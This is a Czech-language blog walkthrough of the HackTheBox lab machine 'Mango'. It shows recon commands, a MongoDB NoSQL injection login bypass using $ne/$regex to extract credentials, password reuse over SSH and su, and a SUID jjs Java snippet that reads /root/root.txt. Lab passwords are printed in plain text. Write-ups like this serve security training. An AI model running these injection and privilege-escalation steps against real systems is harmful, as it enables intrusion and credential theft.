tom@home.htb:~$

Blog o HTB

16 December 2020

Mango

Úvod a kontext

Mango nezačíná na login formuláři samotném, ale kolem něj. TLS certifikát a veřejný vendor/composer rychle napoví MongoDB backend a tím i správný typ injekce. Přihlašovací formulář pak neslouží k jednorázovému bypassu, ale k extrakci dvojic uživatel:heslo pomocí $regex a $ne. Praktickou logiku podobného útoku rozebírám i v článku NoSQL injection v loginu a extrakce přes $regex / $ne.

Zbytek je čistý reuse. Jedno heslo funguje pro SSH účet mango, druhé pro su admin, a root nakonec neotevře shellová binárka, ale SUID jjs, přes které lze přímo číst /root/root.txt. Tím se Mango přirozeně propojuje i s články Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji a SUID/GTFOBins a netypické binárky.

Počáteční průzkum

Certifikát pro staging-order.mango.htb

Základní nmap scan ukáže Apache na 80 a 443 a v TLS certifikátu hned vypadne důležitý hostname staging-order.mango.htb. To je silná indicie, že za HTTPS běží samostatná staging aplikace, kterou je potřeba přidat do /etc/hosts a zkoumat odděleně.

nmap -p 1-65535 -T4 -A -sC -v $IP
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))

ssl-cert: Subject: commonName=staging-order.mango.htb

vendor/composer prozradí MongoDB

Na staging webu dirb najde veřejně přístupný vendor/composer/installed.json. V něm jsou balíčky alcaeus/mongo-php-adapter a mongodb/mongodb, takže přihlašovací formulář stojí za test NoSQL injection místo klasické SQLi. Je to přesně ten typ technologické indicie, která zúží enumeraci na správný problém.

dirb http://staging-order.mango.htb
http://staging-order.mango.htb/vendor/
http://staging-order.mango.htb/vendor/composer/installed.json

alcaeus/mongo-php-adapter
mongodb/mongodb

Analýza zjištění

NoSQL injection přes $ne a $regex

První test username[$ne]=toto&password[$ne]=toto potvrdí, že backend interpretuje MongoDB operátory přímo z požadavku. To znamená, že formulář lze použít nejen k obejití loginu, ale i k postupnému zjišťování jmen a hesel přes prefixové regexy.

?login=login&username[$ne]=toto&password[$ne]=toto

Draft obsahuje i jednoduchý skript, který pomocí $regex prochází znak po znaku jak uživatelská jména, tak hesla. Výsledkem jsou dvě důležité dvojice: mango / h3mXK8RhU~f{]f5H a admin / t9KcS3>!0B#2.

python3 Mango-crackLogin.py
=> Credentials found: {'admin': 't9KcS3>!0B#2', 'mango': 'h3mXK8RhU~f{]f5H'}

Získání přístupu

SSH jako mango, pak su admin

První použitelné přihlašovací údaje jsou ty pro uživatele mango. Ty fungují přímo na SSH, takže není potřeba další webový exploit. Na hostu se pak vyplatí hned zkusit druhé nalezené heslo proti su admin, protože právě účet admin drží user.txt a zároveň otevírá cestu k rootu. Širší praktický kontext k takovému reuse shrnuji i v článku Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji.

ssh mango@$IP
su admin
h3mXK8RhU~f{]f5H
t9KcS3>!0B#2

Získání user flagu

Foothold je na Mango záměrně dvoustupňový. SSH jako mango je jen mezistanice; teprve admin představuje plnohodnotný lokální kontext.

cat user.txt
__CENSORED__

Eskalace oprávnění

SUID jjs

Na účtu admin už stačí projít SUID binárky. Z nich vystupuje jjs, JavaScript shell pro Nashorn. Pokud běží se zvýšenými právy, dá se přes Java API přímo číst libovolný soubor. Tím pádem není nutné spawnovat root shell; pro flag stačí otevřít /root/root.txt. Přesně tenhle typ méně nápadného interpretru popisuji i v článku SUID/GTFOBins a netypické binárky.

find / -perm -4000 -type f 2>/dev/null
=> /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - ssh - php - java - exploit - enumeration